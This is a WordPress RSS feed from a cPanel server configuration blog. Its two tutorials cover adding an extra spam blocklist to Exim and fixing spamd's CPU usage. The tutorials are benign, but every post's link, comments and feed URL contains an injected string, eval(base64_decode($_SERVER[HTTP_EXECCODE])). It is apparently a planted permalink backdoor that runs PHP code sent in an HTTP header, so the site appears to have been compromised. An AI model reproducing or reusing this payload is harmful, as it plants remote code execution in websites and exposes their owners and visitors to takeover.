<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>cPanelConfig - cPanel server configuration guide &#187; spam</title>
	<atom:link href="http://www.cpanelconfig.com/tag/spam/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.cpanelconfig.com</link>
	<description>The complete guide to setup and manage a cPanel based server</description>
	<lastBuildDate>Fri, 17 Jul 2009 11:15:39 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Adding a new RBL to cPanel Exim</title>
		<link>http://www.cpanelconfig.com/2008/12/04/adding-a-new-rbl-to-cpanel-exim/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2008/12/04/adding-a-new-rbl-to-cpanel-exim/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Thu, 04 Dec 2008 21:44:18 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[How to]]></category>
		<category><![CDATA[exim]]></category>
		<category><![CDATA[rbl]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/?p=93</guid>
		<description><![CDATA[



More then a year ago, cPanel added a future to the Exim Configuration Editor for everyone to easily select from two RBLs (spamhaus.org and spamcop.net) that can be used to filter most of the SPAM that a server receives. While this has been great for most of us (enabling a RBL is a simple as [...]]]></description>
			<content:encoded><![CDATA[<p><!--adsense--><br />
More then a year ago, cPanel added a future to the Exim Configuration Editor for everyone to easily select from two RBLs (spamhaus.org and spamcop.net) that can be used to filter most of the SPAM that a server receives. While this has been great for most of us (enabling a RBL is a simple as selecting a check box in WHM and pressing the Save button), there are a few admins that would have liked to add additional RBLs to the list that Exim uses to filter SPAM emails. RBLs like dnsbl.njabl.org, list.dsbl.org, dul.dnsbl.sorbs.net, etc. are all considered useful by many, but not included by default.</p>
<p>The question is how can such a RBL be added to Exim ?<br />
Well it&#8217;s not that hard !<br />
First you will have to login to your server using ssh.<br />
After a successful login:<br />
<!--adsense--></p>
<ol>
<li>Change directory to /usr/local/cpanel/etc/exim/acls/ACL_RBL_BLOCK</li>
<blockquote><p>cd /usr/local/cpanel/etc/exim/acls/ACL_RBL_BLOCK</p></blockquote>
<li>Make a copy of of spamcop_rbl and name it with the new rbl name that will be used. For exemple</li>
<blockquote><p>cp spamcop_rbl  njabl_rbl</p></blockquote>
<li>Open the newly created file</li>
<blockquote><p>nano njabl_rbl</p></blockquote>
<li>Change the two &#8220;dnslists&#8221; entries to the address of the new RBL. For example the new file should look something like this for dnsbl.njabl.org</li>
<blockquote><p>root@server [/usr/local/cpanel/etc/exim/acls/ACL_RBL_BLOCK]# cat njabl_rbl</p>
<p>deny message = JunkMail rejected &#8211; $sender_fullhost is in an RBL, see $dnslist_text<br />
dnslists = dnsbl.njabl.org<br />
hosts = +backupmx_hosts</p>
<p>warn<br />
dnslists = dnsbl.njabl.org<br />
set acl_m8 = 1<br />
set acl_m9 = &#8220;JunkMail rejected &#8211; $sender_fullhost is in an RBL, see $dnslist_text&#8221;<br />
[% ACL_RBL_WHITELIST %]</p>
<p>warn<br />
condition = ${if eq {${acl_m8}}{1}{1}{0}}<br />
ratelimit = 0 / 1h / strict / per_conn<br />
log_message = &#8220;Increment Connection Ratelimit &#8211; $sender_fullhost because of RBL match&#8221;</p>
<p>drop<br />
condition = ${if eq {${acl_m8}}{1}{1}{0}}<br />
message = ${acl_m9}</p></blockquote>
<li>Save the file</li>
<li>Run</li>
<blockquote><p>/scripts/buildeximconf</p></blockquote>
</ol>
<p>That&#8217;s it you should now have the RBL added to your Exim mail server. You can off curse add as many RBLs as you like but please keep in mind that too many of them will increase the chances of false positives and can increase the general load on the server.<br />
<!--adsense--><br />
If you have any questions don&#8217;t hesitate to leave a comment!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2008/12/04/adding-a-new-rbl-to-cpanel-exim/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>SpamAssasin (spamd) using 100% CPU ?</title>
		<link>http://www.cpanelconfig.com/2008/03/19/spamassasin-spamd-using-100-cpu/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2008/03/19/spamassasin-spamd-using-100-cpu/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Wed, 19 Mar 2008 22:00:39 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[How to]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[spamassasin]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/how-to/spamassasin-spamd-using-100-cpu/</guid>
		<description><![CDATA[Hello,
I just investigated a cpanel server that was  showing two spamd processes that were using 100% of CPU time.
In case  you see a similar problem on your server there is an easy fix released by cPanel, but before we go there please note that this is not a cPanel issue, but it&#8217;s a [...]]]></description>
			<content:encoded><![CDATA[<p>Hello,</p>
<p>I just investigated a cpanel server that was  showing two spamd processes that were using 100% of CPU time.<br />
In case  you see a similar problem on your server there is an easy fix released by cPanel, but before we go there please note that this is not a cPanel issue, but it&#8217;s a SpamAssasin issue (bug) that is promised to be fixed in version 3.2.4<br />
<!--adsense--><br />
Until then you should run as root the fallowing command:</p>
<blockquote><p>/scripts/autorepair spamd_dbm_fix</p></blockquote>
<p>Hope it helps !</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2008/03/19/spamassasin-spamd-using-100-cpu/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>
